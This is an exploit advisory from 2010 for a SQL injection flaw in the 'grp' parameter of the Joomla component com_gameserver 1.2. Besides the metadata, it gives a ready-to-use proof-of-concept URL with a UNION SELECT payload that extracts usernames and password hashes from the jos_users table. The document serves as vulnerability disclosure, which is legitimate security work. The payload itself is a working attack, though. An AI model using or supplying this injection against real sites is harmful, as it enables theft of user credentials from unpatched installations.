Joomla! Component com_gameserver - SQL Injection

# Exploit Title: Joomla (com_gameserver) SQL Injection Vulnerability
# Date: 2010-01-22
# Author: B-Hunt3|2
# Software Link: http://joomlacode.org/gf/project/gameserver/frs/
# Version: 1.2
# CVE : N/A

[~]>> ...[BEGIN ADVISORY]...

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[~]>> TITLE: Joomla (com_gameserver) SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: Demo Site

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[~]>> DESCRIPTION: Input var "grp" is vulnerable to SQL code injection.
[~]>> AFFECTED VERSIONS: Confirmed in 1.2 but probably other versions also.
[~]>> RISK: High/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

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[~]>> PROOF OF CONCEPT:

[~]>> http://server/component/gameserver/?view=gameserver&grp=[SQL]
[~]>> http://server/component/gameserver/?view=gameserver&grp=-1'+union+all+select+1,concat(username,0x3A,password),3,4,5,6,7+from+jos_users%23

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[~]>> ...[END ADVISORY]...